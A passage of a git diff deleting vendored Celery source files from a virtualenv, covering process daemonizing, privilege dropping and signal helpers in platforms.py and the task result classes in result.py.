write_pid(self): - pid = os.getpid() - content = f'{pid}\n' - - pidfile_fd = os.open(self.path, PIDFILE_FLAGS, PIDFILE_MODE) - pidfile = os.fdopen(pidfile_fd, 'w') - try: - pidfile.write(content) - # flush and sync so that the re-read below works. - pidfile.flush() - try: - os.fsync(pidfile_fd) - except AttributeError: # pragma: no cover - pass - finally: - pidfile.close() - - rfh = open(self.path) - try: - if rfh.read() != content: - raise LockFailed( - "Inconsistency: Pidfile content doesn't match at re-read") - finally: - rfh.close() - - -PIDFile = Pidfile # XXX compat alias - - -def create_pidlock(pidfile): - """Create and verify pidfile. - - If the pidfile already exists the program exits with an error message, - however if the process it refers to isn't running anymore, the pidfile - is deleted and the program continues. - - This function will automatically install an :mod:`atexit` handler - to release the lock at exit, you can skip this by calling - :func:`_create_pidlock` instead. - - Returns: - Pidfile: used to manage the lock. - - Example: - >>> pidlock = create_pidlock('/var/run/app.pid') - """ - pidlock = _create_pidlock(pidfile) - atexit.register(pidlock.release) - return pidlock - - -def _create_pidlock(pidfile): - pidlock = Pidfile(pidfile) - if pidlock.is_locked() and not pidlock.remove_if_stale(): - print(PIDLOCKED.format(pidfile, pidlock.read_pid()), file=sys.stderr) - raise SystemExit(EX_CANTCREAT) - pidlock.acquire() - return pidlock - - -def fd_by_path(paths): - """Return a list of file descriptors. - - This method returns list of file descriptors corresponding to - file paths passed in paths variable. - - Arguments: - paths: List[str]: List of file paths. - - Returns: - List[int]: List of file descriptors. - - Example: - >>> keep = fd_by_path(['/dev/urandom', '/my/precious/']) - """ - stats = set() - for path in paths: - try: - fd = os.open(path, os.O_RDONLY) - except OSError: - continue - try: - stats.add(os.fstat(fd)[1:3]) - finally: - os.close(fd) - - def fd_in_stats(fd): - try: - return os.fstat(fd)[1:3] in stats - except OSError: - return False - - return [_fd for _fd in range(get_fdmax(2048)) if fd_in_stats(_fd)] - - -class DaemonContext: - """Context manager daemonizing the process.""" - - _is_open = False - - def __init__(self, pidfile=None, workdir=None, umask=None, - fake=False, after_chdir=None, after_forkers=True, - **kwargs): - if isinstance(umask, str): - # octal or decimal, depending on initial zero. - umask = int(umask, 8 if umask.startswith('0') else 10) - self.workdir = workdir or DAEMON_WORKDIR - self.umask = umask - self.fake = fake - self.after_chdir = after_chdir - self.after_forkers = after_forkers - self.stdfds = (sys.stdin, sys.stdout, sys.stderr) - - def redirect_to_null(self, fd): - if fd is not None: - dest = os.open(os.devnull, os.O_RDWR) - os.dup2(dest, fd) - - def open(self): - if not self._is_open: - if not self.fake: - self._detach() - - os.chdir(self.workdir) - if self.umask is not None: - os.umask(self.umask) - - if self.after_chdir: - self.after_chdir() - - if not self.fake: - # We need to keep /dev/urandom from closing because - # shelve needs it, and Beat needs shelve to start. - keep = list(self.stdfds) + fd_by_path(['/dev/urandom']) - close_open_fds(keep) - for fd in self.stdfds: - self.redirect_to_null(maybe_fileno(fd)) - if self.after_forkers and mputil is not None: - mputil._run_after_forkers() - - self._is_open = True - - __enter__ = open - - def close(self, *args): - if self._is_open: - self._is_open = False - - __exit__ = close - - def _detach(self): - if os.fork() == 0: # first child - os.setsid() # create new session - if os.fork() > 0: # pragma: no cover - # second child - os._exit(0) - else: - os._exit(0) - return self - - -def detached(logfile=None, pidfile=None, uid=None, gid=None, umask=0, - workdir=None, fake=False, **opts): - """Detach the current process in the background (daemonize). - - Arguments: - logfile (str): Optional log file. - The ability to write to this file - will be verified before the process is detached. - pidfile (str): Optional pid file. - The pidfile won't be created, - as this is the responsibility of the child. But the process will - exit if the pid lock exists and the pid written is still running. - uid (int, str): Optional user id or user name to change - effective privileges to. - gid (int, str): Optional group id or group name to change - effective privileges to. - umask (str, int): Optional umask that'll be effective in - the child process. - workdir (str): Optional new working directory. - fake (bool): Don't actually detach, intended for debugging purposes. - **opts (Any): Ignored. - - Example: - >>> from celery.platforms import detached, create_pidlock - >>> with detached( - ... logfile='/var/log/app.log', - ... pidfile='/var/run/app.pid', - ... uid='nobody'): - ... # Now in detached child process with effective user set to nobody, - ... # and we know that our logfile can be written to, and that - ... # the pidfile isn't locked. - ... pidlock = create_pidlock('/var/run/app.pid') - ... - ... # Run the program - ... program.run(logfile='/var/log/app.log') - """ - if not resource: - raise RuntimeError('This platform does not support detach.') - workdir = os.getcwd() if workdir is None else workdir - - signals.reset('SIGCLD') # Make sure SIGCLD is using the default handler. - maybe_drop_privileges(uid=uid, gid=gid) - - def after_chdir_do(): - # Since without stderr any errors will be silently suppressed, - # we need to know that we have access to the logfile. - logfile and open(logfile, 'a').close() - # Doesn't actually create the pidfile, but makes sure it's not stale. - if pidfile: - _create_pidlock(pidfile).release() - - return DaemonContext( - umask=umask, workdir=workdir, fake=fake, after_chdir=after_chdir_do, - ) - - -def parse_uid(uid): - """Parse user id. - - Arguments: - uid (str, int): Actual uid, or the username of a user. - Returns: - int: The actual uid. - """ - try: - return int(uid) - except ValueError: - try: - return pwd.getpwnam(uid).pw_uid - except (AttributeError, KeyError): - raise KeyError(f'User does not exist: {uid}') - - -def parse_gid(gid): - """Parse group id. - - Arguments: - gid (str, int): Actual gid, or the name of a group. - Returns: - int: The actual gid of the group. - """ - try: - return int(gid) - except ValueError: - try: - return grp.getgrnam(gid).gr_gid - except (AttributeError, KeyError): - raise KeyError(f'Group does not exist: {gid}') - - -def _setgroups_hack(groups): - # :fun:`setgroups` may have a platform-dependent limit, - # and it's not always possible to know in advance what this limit - # is, so we use this ugly hack stolen from glibc. - groups = groups[:] - - while 1: - try: - return os.setgroups(groups) - except ValueError: # error from Python's check. - if len(groups) <= 1: - raise - groups[:] = groups[:-1] - except OSError as exc: # error from the OS. - if exc.errno != errno.EINVAL or len(groups) <= 1: - raise - groups[:] = groups[:-1] - - -def setgroups(groups): - """Set active groups from a list of group ids.""" - max_groups = None - try: - max_groups = os.sysconf('SC_NGROUPS_MAX') - except Exception: # pylint: disable=broad-except - pass - try: - return _setgroups_hack(groups[:max_groups]) - except OSError as exc: - if exc.errno != errno.EPERM: - raise - if any(group not in groups for group in os.getgroups()): - # we shouldn't be allowed to change to this group. - raise - - -def initgroups(uid, gid): - """Init process group permissions. - - Compat version of :func:`os.initgroups` that was first - added to Python 2.7. - """ - if not pwd: # pragma: no cover - return - username = pwd.getpwuid(uid)[0] - if hasattr(os, 'initgroups'): # Python 2.7+ - return os.initgroups(username, gid) - groups = [gr.gr_gid for gr in grp.getgrall() - if username in gr.gr_mem] - setgroups(groups) - - -def setgid(gid): - """Version of :func:`os.setgid` supporting group names.""" - os.setgid(parse_gid(gid)) - - -def setuid(uid): - """Version of :func:`os.setuid` supporting usernames.""" - os.setuid(parse_uid(uid)) - - -def maybe_drop_privileges(uid=None, gid=None): - """Change process privileges to new user/group. - - If UID and GID is specified, the real user/group is changed. - - If only UID is specified, the real user is changed, and the group is - changed to the users primary group. - - If only GID is specified, only the group is changed. - """ - if sys.platform == 'win32': - return - if os.geteuid(): - # no point trying to setuid unless we're root. - if not os.getuid(): - raise SecurityError('contact support') - uid = uid and parse_uid(uid) - gid = gid and parse_gid(gid) - - if uid: - _setuid(uid, gid) - else: - gid and setgid(gid) - - if uid and not os.getuid() and not os.geteuid(): - raise SecurityError('Still root uid after drop privileges!') - if gid and not os.getgid() and not os.getegid(): - raise SecurityError('Still root gid after drop privileges!') - - -def _setuid(uid, gid): - # If GID isn't defined, get the primary GID of the user. - if not gid and pwd: - gid = pwd.getpwuid(uid).pw_gid - # Must set the GID before initgroups(), as setgid() - # is known to zap the group list on some platforms. - - # setgid must happen before setuid (otherwise the setgid operation - # may fail because of insufficient privileges and possibly stay - # in a privileged group). - setgid(gid) - initgroups(uid, gid) - - # at last: - setuid(uid) - # ... and make sure privileges cannot be restored: - try: - setuid(0) - except OSError as exc: - if exc.errno != errno.EPERM: - raise - # we should get here: cannot restore privileges, - # everything was fine. - else: - raise SecurityError( - 'non-root user able to restore privileges after setuid.') - - -if hasattr(_signal, 'setitimer'): - def _arm_alarm(seconds): - _signal.setitimer(_signal.ITIMER_REAL, seconds) -else: - def _arm_alarm(seconds): - _signal.alarm(math.ceil(seconds)) - - -class Signals: - """Convenience interface to :mod:`signals`. - - If the requested signal isn't supported on the current platform, - the operation will be ignored. - - Example: - >>> from celery.platforms import signals - - >>> from proj.handlers import my_handler - >>> signals['INT'] = my_handler - - >>> signals['INT'] - my_handler - - >>> signals.supported('INT') - True - - >>> signals.signum('INT') - 2 - - >>> signals.ignore('USR1') - >>> signals['USR1'] == signals.ignored - True - - >>> signals.reset('USR1') - >>> signals['USR1'] == signals.default - True - - >>> from proj.handlers import exit_handler, hup_handler - >>> signals.update(INT=exit_handler, - ... TERM=exit_handler, - ... HUP=hup_handler) - """ - - ignored = _signal.SIG_IGN - default = _signal.SIG_DFL - - def arm_alarm(self, seconds): - return _arm_alarm(seconds) - - def reset_alarm(self): - return _signal.alarm(0) - - def supported(self, name): - """Return true value if signal by ``name`` exists on this platform.""" - try: - self.signum(name) - except AttributeError: - return False - else: - return True - - def signum(self, name): - """Get signal number by name.""" - if isinstance(name, numbers.Integral): - return name - if not isinstance(name, str) \ - or not name.isupper(): - raise TypeError('signal name must be uppercase string.') - if not name.startswith('SIG'): - name = 'SIG' + name - return getattr(_signal, name) - - def reset(self, *signal_names): - """Reset signals to the default signal handler. - - Does nothing if the platform has no support for signals, - or the specified signal in particular. - """ - self.update((sig, self.default) for sig in signal_names) - - def ignore(self, *names): - """Ignore signal using :const:`SIG_IGN`. - - Does nothing if the platform has no support for signals, - or the specified signal in particular. - """ - self.update((sig, self.ignored) for sig in names) - - def __getitem__(self, name): - return _signal.getsignal(self.signum(name)) - - def __setitem__(self, name, handler): - """Install signal handler. - - Does nothing if the current platform has no support for signals, - or the specified signal in particular. - """ - try: - _signal.signal(self.signum(name), handler) - except (AttributeError, ValueError): - pass - - def update(self, _d_=None, **sigmap): - """Set signal handlers from a mapping.""" - for name, handler in dict(_d_ or {}, **sigmap).items(): - self[name] = handler - - -signals = Signals() -get_signal = signals.signum # compat -install_signal_handler = signals.__setitem__ # compat -reset_signal = signals.reset # compat -ignore_signal = signals.ignore # compat - - -def signal_name(signum): - """Return name of signal from signal number.""" - return SIGMAP[signum][3:] - - -def strargv(argv): - arg_start = 2 if 'manage' in argv[0] else 1 - if len(argv) > arg_start: - return ' '.join(argv[arg_start:]) - return '' - - -def set_pdeathsig(name): - """Sends signal ``name`` to process when parent process terminates.""" - if signals.supported('SIGKILL'): - try: - _set_pdeathsig(signals.signum('SIGKILL')) - except OSError: - # We ignore when OS does not support set_pdeathsig - pass - - -def set_process_title(progname, info=None): - """Set the :command:`ps` name for the currently running process. - - Only works if :pypi:`setproctitle` is installed. - """ - proctitle = f'[{progname}]' - proctitle = f'{proctitle} {info}' if info else proctitle - if _setproctitle: - _setproctitle.setproctitle(safe_str(proctitle)) - return proctitle - - -if os.environ.get('NOSETPS'): # pragma: no cover - - def set_mp_process_title(*a, **k): - """Disabled feature.""" -else: - - def set_mp_process_title(progname, info=None, hostname=None): - """Set the :command:`ps` name from the current process name. - - Only works if :pypi:`setproctitle` is installed. - """ - if hostname: - progname = f'{progname}: {hostname}' - name = current_process().name if current_process else 'MainProcess' - return set_process_title(f'{progname}:{name}', info=info) - - -def get_errno_name(n): - """Get errno for string (e.g., ``ENOENT``).""" - if isinstance(n, str): - return getattr(errno, n) - return n - - -@contextmanager -def ignore_errno(*errnos, **kwargs): - """Context manager to ignore specific POSIX error codes. - - Takes a list of error codes to ignore: this can be either - the name of the code, or the code integer itself:: - - >>> with ignore_errno('ENOENT'): - ... with open('foo', 'r') as fh: - ... return fh.read() - - >>> with ignore_errno(errno.ENOENT, errno.EPERM): - ... pass - - Arguments: - types (Tuple[Exception]): A tuple of exceptions to ignore - (when the errno matches). Defaults to :exc:`Exception`. - """ - types = kwargs.get('types') or (Exception,) - errnos = [get_errno_name(errno) for errno in errnos] - try: - yield - except types as exc: - if not hasattr(exc, 'errno'): - raise - if exc.errno not in errnos: - raise - - -def check_privileges(accept_content): - if grp is None or pwd is None: - return - pickle_or_serialize = ('pickle' in accept_content - or 'application/group-python-serialize' in accept_content) - - uid = os.getuid() if hasattr(os, 'getuid') else 65535 - gid = os.getgid() if hasattr(os, 'getgid') else 65535 - euid = os.geteuid() if hasattr(os, 'geteuid') else 65535 - egid = os.getegid() if hasattr(os, 'getegid') else 65535 - - if hasattr(os, 'fchown'): - if not all(hasattr(os, attr) - for attr in ('getuid', 'getgid', 'geteuid', 'getegid')): - raise SecurityError('suspicious platform, contact support') - - # Get the group database entry for the current user's group and effective - # group id using grp.getgrgid() method - # We must handle the case where either the gid or the egid are not found. - try: - gid_entry = grp.getgrgid(gid) - egid_entry = grp.getgrgid(egid) - except KeyError: - warnings.warn(SecurityWarning(ASSUMING_ROOT)) - _warn_or_raise_security_error(egid, euid, gid, uid, - pickle_or_serialize) - return - - # Get the group and effective group name based on gid - gid_grp_name = gid_entry[0] - egid_grp_name = egid_entry[0] - - # Create lists to use in validation step later. - gids_in_use = (gid_grp_name, egid_grp_name) - groups_with_security_risk = ('sudo', 'wheel') - - is_root = uid == 0 or euid == 0 - # Confirm that the gid and egid are not one that - # can be used to escalate privileges. - if is_root or any(group in gids_in_use - for group in groups_with_security_risk): - _warn_or_raise_security_error(egid, euid, gid, uid, - pickle_or_serialize) - - -def _warn_or_raise_security_error(egid, euid, gid, uid, pickle_or_serialize): - c_force_root = os.environ.get('C_FORCE_ROOT', False) - - if pickle_or_serialize and not c_force_root: - raise SecurityError(ROOT_DISALLOWED.format( - uid=uid, euid=euid, gid=gid, egid=egid, - )) - - warnings.warn(SecurityWarning(ROOT_DISCOURAGED.format( - uid=uid, euid=euid, gid=gid, egid=egid, - ))) diff --git a/venv/Lib/site-packages/celery/result.py b/venv/Lib/site-packages/celery/result.py deleted file mode 100644 index 66a9e20aab8088649c0b444f1ce3edfe1541de8b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/result.py +++ /dev/null @@ -1,1092 +0,0 @@ -"""Task results/state and results for groups of tasks.""" - -import datetime -import time -from collections import deque -from contextlib import contextmanager -from weakref import proxy - -from dateutil.parser import isoparse -from kombu.utils.objects import cached_property -from vine import Thenable, barrier, promise - -from . import current_app, states -from ._state import _set_task_join_will_block, task_join_will_block -from .app import app_or_default -from .exceptions import ImproperlyConfigured, IncompleteStream, TimeoutError -from .utils.graph import DependencyGraph, GraphFormatter - -try: - import tblib -except ImportError: - tblib = None - -__all__ = ( - 'ResultBase', 'AsyncResult', 'ResultSet', - 'GroupResult', 'EagerResult', 'result_from_tuple', -) - -E_WOULDBLOCK = """\ -Never call result.get() within a task! -See https://docs.celeryq.dev/en/latest/userguide/tasks.html\ -#avoid-launching-synchronous-subtasks -""" - - -def assert_will_not_block(): - if task_join_will_block(): - raise RuntimeError(E_WOULDBLOCK) - - -@contextmanager -def allow_join_result(): - reset_value = task_join_will_block() - _set_task_join_will_block(False) - try: - yield - finally: - _set_task_join_will_block(reset_value) - - -@contextmanager -def denied_join_result(): - reset_value = task_join_will_block() - _set_task_join_will_block(True) - try: - yield - finally: - _set_task_join_will_block(reset_value) - - -class ResultBase: - """Base class for results.""" - - #: Parent result (if part of a chain) - parent = None - - -@Thenable.register -class AsyncResult(ResultBase): - """Query task state. - - Arguments: - id (str): See :attr:`id`. - backend (Backend): See :attr:`backend`. - """ - - app = None - - #: Error raised for timeouts. - TimeoutError = TimeoutError - - #: The task's UUID. - id = None - - #: The task result backend to use. - backend = None - - def __init__(self, id, backend=None, - task_name=None, # deprecated - app=None, parent=None): - if id is None: - raise ValueError( - f'AsyncResult requires valid id, not {type(id)}') - self.app = app_or_default(app or self.app) - self.id = id - self.backend = backend or self.app.backend - self.parent = parent - self.on_ready = promise(self._on_fulfilled, weak=True) - self._cache = None - self._ignored = False - - @property - def ignored(self): - """If True, task result retrieval is disabled.""" - if hasattr(self, '_ignored'): - return self._ignored - return False - - @ignored.setter - def ignored(self, value): - """Enable/disable task result retrieval.""" - self._ignored = value - - def then(self, callback, on_error=None, weak=False): - self.backend.add_pending_result(self, weak=weak) - return self.on_ready.then(callback, on_error) - - def _on_fulfilled(self, result): - self.backend.remove_pending_result(self) - return result - - def as_tuple(self): - parent = self.parent - return (self.id, parent and parent.as_tuple()), None - - def as_list(self): - """Return as a list of task IDs.""" - results = [] - parent = self.parent - results.append(self.id) - if parent is not None: - results.extend(parent.as_list()) - return results - - def forget(self): - """Forget the result of this task and its parents.""" - self._cache = None - if self.parent: - self.parent.forget() - - self.backend.remove_pending_result(self) - self.backend.forget(self.id) - - def revoke(self, connection=None, terminate=False, signal=None, - wait=False, timeout=None): - """Send revoke signal to all workers. - - Any worker receiving the task, or having reserved the - task, *must* ignore it. - - Arguments: - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - wait (bool): Wait for replies from workers. - The ``timeout`` argument specifies the seconds to wait. - Disabled by default. - timeout (float): Time in seconds to wait for replies when - ``wait`` is enabled. - """ - self.app.control.revoke(self.id, connection=connection, - terminate=terminate, signal=signal, - reply=wait, timeout=timeout) - - def revoke_by_stamped_headers(self, headers, connection=None, terminate=False, signal=None, - wait=False, timeout=None): - """Send revoke signal to all workers only for tasks with matching headers values. - - Any worker receiving the task, or having reserved the - task, *must* ignore it. - All header fields *must* match. - - Arguments: - headers (dict[str, Union(str, list)]): Headers to match when revoking tasks. - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - wait (bool): Wait for replies from workers. - The ``timeout`` argument specifies the seconds to wait. - Disabled by default. - timeout (float): Time in seconds to wait for replies when - ``wait`` is enabled. - """ - self.app.control.revoke_by_stamped_headers(headers, connection=connection, - terminate=terminate, signal=signal, - reply=wait, timeout=timeout) - - def get(self, timeout=None, propagate=True, interval=0.5, - no_ack=True, follow_parents=True, callback=None, on_message=None, - on_interval=None, disable_sync_subtasks=True, - EXCEPTION_STATES=states.EXCEPTION_STATES, - PROPAGATE_STATES=states.PROPAGATE_STATES): - """Wait until task is ready, and return its result. - - Warning: - Waiting for tasks within a task may lead to deadlocks. - Please read :ref:`task-synchronous-subtasks`. - - Warning: - Backends use resources to store and transmit results. To ensure - that resources are released, you must eventually call - :meth:`~@AsyncResult.get` or :meth:`~@AsyncResult.forget` on - EVERY :class:`~@AsyncResult` instance returned after calling - a task. - - Arguments: - timeout (float): How long to wait, in seconds, before the - operation times out. This is the setting for the publisher - (celery client) and is different from `timeout` parameter of - `@app.task`, which is the setting for the worker. The task - isn't terminated even if timeout occurs. - propagate (bool): Re-raise exception if the task failed. - interval (float): Time to wait (in seconds) before retrying to - retrieve the result. Note that this does not have any effect - when using the RPC/redis result store backends, as they don't - use polling. - no_ack (bool): Enable amqp no ack (automatically acknowledge - message). If this is :const:`False` then the message will - **not be acked**. - follow_parents (bool): Re-raise any exception raised by - parent tasks. - disable_sync_subtasks (bool): Disable tasks to wait for sub tasks - this is the default configuration. CAUTION do not enable this - unless you must. - - Raises: - celery.exceptions.TimeoutError: if `timeout` isn't - :const:`None` and the result does not arrive within - `timeout` seconds. - Exception: If the remote call raised an exception then that - exception will be re-raised in the caller process. - """ - if self.ignored: - return - - if disable_sync_subtasks: - assert_will_not_block() - _on_interval = promise() - if follow_parents and propagate and self.parent: - _on_interval = promise(self._maybe_reraise_parent_error, weak=True) - self._maybe_reraise_parent_error() - if on_interval: - _on_interval.then(on_interval) - - if self._cache: - if propagate: - self.maybe_throw(callback=callback) - return self.result - - self.backend.add_pending_result(self) - return self.backend.wait_for_pending( - self, timeout=timeout, - interval=interval, - on_interval=_on_interval, - no_ack=no_ack, - propagate=propagate, - callback=callback, - on_message=on_message, - ) - wait = get # deprecated alias to :meth:`get`. - - def _maybe_reraise_parent_error(self): - for node in reversed(list(self._parents())): - node.maybe_throw() - - def _parents(self): - node = self.parent - while node: - yield node - node = node.parent - - def collect(self, intermediate=False, **kwargs): - """Collect results as they return. - - Iterator, like :meth:`get` will wait for the task to complete, - but will also follow :class:`AsyncResult` and :class:`ResultSet` - returned by the task, yielding ``(result, value)`` tuples for each - result in the tree. - - An example would be having the following tasks: - - .. code-block:: python - - from celery import group - from proj.celery import app - - @app.task(trail=True) - def A(how_many): - return group(B.s(i) for i in range(how_many))() - - @app.task(trail=True) - def B(i): - return pow2.delay(i) - - @app.task(trail=True) - def pow2(i): - return i ** 2 - - .. code-block:: pycon - - >>> from celery.result import ResultBase - >>> from proj.tasks import A - - >>> result = A.delay(10) - >>> [v for v in result.collect() - ... if not isinstance(v, (ResultBase, tuple))] - [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] - - Note: - The ``Task.trail`` option must be enabled - so that the list of children is stored in ``result.children``. - This is the default but enabled explicitly for illustration. - - Yields: - Tuple[AsyncResult, Any]: tuples containing the result instance - of the child task, and the return value of that task. - """ - for _, R in self.iterdeps(intermediate=intermediate): - yield R, R.get(**kwargs) - - def get_leaf(self): - value = None - for _, R in self.iterdeps(): - value = R.get() - return value - - def iterdeps(self, intermediate=False): - stack = deque([(None, self)]) - - is_incomplete_stream = not intermediate - - while stack: - parent, node = stack.popleft() - yield parent, node - if node.ready(): - stack.extend((node, child) for child in node.children or []) - else: - if is_incomplete_stream: - raise IncompleteStream() - - def ready(self): - """Return :const:`True` if the task has executed. - - If the task is still running, pending, or is waiting - for retry then :const:`False` is returned. - """ - return self.state in self.backend.READY_STATES - - def successful(self): - """Return :const:`True` if the task executed successfully.""" - return self.state == states.SUCCESS - - def failed(self): - """Return :const:`True` if the task failed.""" - return self.state == states.FAILURE - - def throw(self, *args, **kwargs): - self.on_ready.throw(*args, **kwargs) - - def maybe_throw(self, propagate=True, callback=None): - cache = self._get_task_meta() if self._cache is None else self._cache - state, value, tb = ( - cache['status'], cache['result'], cache.get('traceback')) - if state in states.PROPAGATE_STATES and propagate: - self.throw(value, self._to_remote_traceback(tb)) - if callback is not None: - callback(self.id, value) - return value - maybe_reraise = maybe_throw # XXX compat alias - - def _to_remote_traceback(self, tb): - if tb and tblib is not None and self.app.conf.task_remote_tracebacks: - return tblib.Traceback.from_string(tb).as_traceback() - - def build_graph(self, intermediate=False, formatter=None): - graph = DependencyGraph( - formatter=formatter or GraphFormatter(root=self.id, shape='oval'), - ) - for parent, node in self.iterdeps(intermediate=intermediate): - graph.add_arc(node) - if parent: - graph.add_edge(parent, node) - return graph - - def __str__(self): - """`str(self) -> self.id`.""" - return str(self.id) - - def __hash__(self): - """`hash(self) -> hash(self.id)`.""" - return hash(self.id) - - def __repr__(self): - return f'<{type(self).__name__}: {self.id}>' - - def __eq__(self, other): - if isinstance(other, AsyncResult): - return other.id == self.id - elif isinstance(other, str): - return other == self.id - return NotImplemented - - def __copy__(self): - return self.__class__( - self.id, self.backend, None, self.app, self.parent, - ) - - def __reduce__(self): - return self.__class__, self.__reduce_args__() - - def __reduce_args__(self): - return self.id, self.backend, None, None, self.parent - - def __del__(self): - """Cancel pending operations when the instance is destroyed.""" - if self.backend is not None: - self.backend.remove_pending_result(self) - - @cached_property - def graph(self): - return self.build_graph() - - @property - def supports_native_join(self): - return self.backend.supports_native_join - - @property - def children(self): - return self._get_task_meta().get('children') - - def _maybe_set_cache(self, meta): - if meta: - state = meta['status'] - if state in states.READY_STATES: - d = self._set_cache(self.backend.meta_from_decoded(meta)) - self.on_ready(self) - return d - return meta - - def _get_task_meta(self): - if self._cache is None: - return self._maybe_set_cache(self.backend.get_task_meta(self.id)) - return self._cache - - def _iter_meta(self, **kwargs): - return iter([self._get_task_meta()]) - - def _set_cache(self, d): - children = d.get('children') - if children: - d['children'] = [ - result_from_tuple(child, self.app) for child in children - ] - self._cache = d - return d - - @property - def result(self): - """Task return value. - - Note: - When the task has been executed, this contains the return value. - If the task raised an exception, this will be the exception - instance. - """ - return self._get_task_meta()['result'] - info = result - - @property - def traceback(self): - """Get the traceback of a failed task.""" - return self._get_task_meta().get('traceback') - - @property - def state(self): - """The tasks current state. - - Possible values includes: - - *PENDING* - - The task is waiting for execution. - - *STARTED* - - The task has been started. - - *RETRY* - - The task is to be retried, possibly because of failure. - - *FAILURE* - - The task raised an exception, or has exceeded the retry limit. - The :attr:`result` attribute then contains the - exception raised by the task. - - *SUCCESS* - - The task executed successfully. The :attr:`result` attribute - then contains the tasks return value. - """ - return self._get_task_meta()['status'] - status = state # XXX compat - - @property - def task_id(self): - """Compat. alias to :attr:`id`.""" - return self.id - - @task_id.setter - def task_id(self, id): - self.id = id - - @property - def name(self): - return self._get_task_meta().get('name') - - @property - def args(self): - return self._get_task_meta().get('args') - - @property - def kwargs(self): - return self._get_task_meta().get('kwargs') - - @property - def worker(self): - return self._get_task_meta().get('worker') - - @property - def date_done(self): - """UTC date and time.""" - date_done = self._get_task_meta().get('date_done') - if date_done and not isinstance(date_done, datetime.datetime): - return isoparse(date_done) - return date_done - - @property - def retries(self): - return self._get_task_meta().get('retries') - - @property - def queue(self): - return self._get_task_meta().get('queue') - - -@Thenable.register -class ResultSet(ResultBase): - """A collection of results. - - Arguments: - results (Sequence[AsyncResult]): List of result instances. - """ - - _app = None - - #: List of results in in the set. - results = None - - def __init__(self, results, app=None, ready_barrier=None, **kwargs): - self._app = app - self.results = results - self.on_ready = promise(args=(proxy(self),)) - self._on_full = ready_barrier or barrier(results) - if self._on_full: - self._on_full.then(promise(self._on_ready, weak=True)) - - def add(self, result): - """Add :class:`AsyncResult` as a new member of the set. - - Does nothing if the result is already a member. - """ - if result not in self.results: - self.results.append(result) - if self._on_full: - self._on_full.add(result) - - def _on_ready(self): - if self.backend.is_async: - self.on_ready() - - def remove(self, result): - """Remove result from the set; it must be a member. - - Raises: - KeyError: if the result isn't a member. - """ - if isinstance(result, str): - result = self.app.AsyncResult(result) - try: - self.results.remove(result) - except ValueError: - raise KeyError(result) - - def discard(self, result): - """Remove result from the set if it is a member. - - Does nothing if it's not a member. - """ - try: - self.remove(result) - except KeyError: - pass - - def update(self, results): - """Extend from iterable of results.""" - self.results.extend(r for r in results if r not in self.results) - - def clear(self): - """Remove all results from this set.""" - self.results[:] = [] # don't create new list. - - def successful(self): - """Return true if all tasks successful. - - Returns: - bool: true if all of the tasks finished - successfully (i.e. didn't raise an exception). - """ - return all(result.successful() for result in self.results) - - def failed(self): - """Return true if any of the tasks failed. - - Returns: - bool: true if one of the tasks failed. - (i.e., raised an exception) - """ - return any(result.failed() for result in self.results) - - def maybe_throw(self, callback=None, propagate=True): - for result in self.results: - result.maybe_throw(callback=callback, propagate=propagate) - maybe_reraise = maybe_throw # XXX compat alias. - - def waiting(self): - """Return true if any of the tasks are incomplete. - - Returns: - bool: true if one of the tasks are still - waiting for execution. - """ - return any(not result.ready() for result in self.results) - - def ready(self): - """Did all of the tasks complete? (either by success of failure). - - Returns: - bool: true if all of the tasks have been executed. - """ - return all(result.ready() for result in self.results) - - def completed_count(self): - """Task completion count. - - Note that `complete` means `successful` in this context. In other words, the - return value of this method is the number of ``successful`` tasks. - - Returns: - int: the number of complete (i.e. successful) tasks. - """ - return sum(int(result.successful()) for result in self.results) - - def forget(self): - """Forget about (and possible remove the result of) all the tasks.""" - for result in self.results: - result.forget() - - def revoke(self, connection=None, terminate=False, signal=None, - wait=False, timeout=None): - """Send revoke signal to all workers for all tasks in the set. - - Arguments: - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - wait (bool): Wait for replies from worker. - The ``timeout`` argument specifies the number of seconds - to wait. Disabled by default. - timeout (float): Time in seconds to wait for replies when - the ``wait`` argument is enabled. - """ - self.app.control.revoke([r.id for r in self.results], - connection=connection, timeout=timeout, - terminate=terminate, signal=signal, reply=wait) - - def __iter__(self): - return iter(self.results) - - def __getitem__(self, index): - """`res[i] -> res.results[i]`.""" - return self.results[index] - - def get(self, timeout=None, propagate=True, interval=0.5, - callback=None, no_ack=True, on_message=None, - disable_sync_subtasks=True, on_interval=None): - """See :meth:`join`. - - This is here for API compatibility with :class:`AsyncResult`, - in addition it uses :meth:`join_native` if available for the - current result backend. - """ - return (self.join_native if self.supports_native_join else self.join)( - timeout=timeout, propagate=propagate, - interval=interval, callback=callback, no_ack=no_ack, - on_message=on_message, disable_sync_subtasks=disable_sync_subtasks, - on_interval=on_interval, - ) - - def join(self, timeout=None, propagate=True, interval=0.5, - callback=None, no_ack=True, on_message=None, - disable_sync_subtasks=True, on_interval=None): - """Gather the results of all tasks as a list in order. - - Note: - This can be an expensive operation for result store - backends that must resort to polling (e.g., database). - - You should consider using :meth:`join_native` if your backend - supports it. - - Warning: - Waiting for tasks within a task may lead to deadlocks. - Please see :ref:`task-synchronous-subtasks`. - - Arguments: - timeout (float): The number of seconds to wait for results - before the operation times out. - propagate (bool): If any of the tasks raises an exception, - the exception will be re-raised when this flag is set. - interval (float): Time to wait (in seconds) before retrying to - retrieve a result from the set. Note that this does not have - any effect when using the amqp result store backend, - as it does not use polling. - callback (Callable): Optional callback to be called for every - result received. Must have signature ``(task_id, value)`` - No results will be returned by this function if a callback - is specified. The order of results is also arbitrary when a - callback is used. To get access to the result object for - a particular id you'll have to generate an index first: - ``index = {r.id: r for r in gres.results.values()}`` - Or you can create new result objects on the fly: - ``result = app.AsyncResult(task_id)`` (both will - take advantage of the backend cache anyway). - no_ack (bool): Automatic message acknowledgment (Note that if this - is set to :const:`False` then the messages - *will not be acknowledged*). - disable_sync_subtasks (bool): Disable tasks to wait for sub tasks - this is the default configuration. CAUTION do not enable this - unless you must. - - Raises: - celery.exceptions.TimeoutError: if ``timeout`` isn't - :const:`None` and the operation takes longer than ``timeout`` - seconds. - """ - if disable_sync_subtasks: - assert_will_not_block() - time_start = time.monotonic() - remaining = None - - if on_message is not None: - raise ImproperlyConfigured( 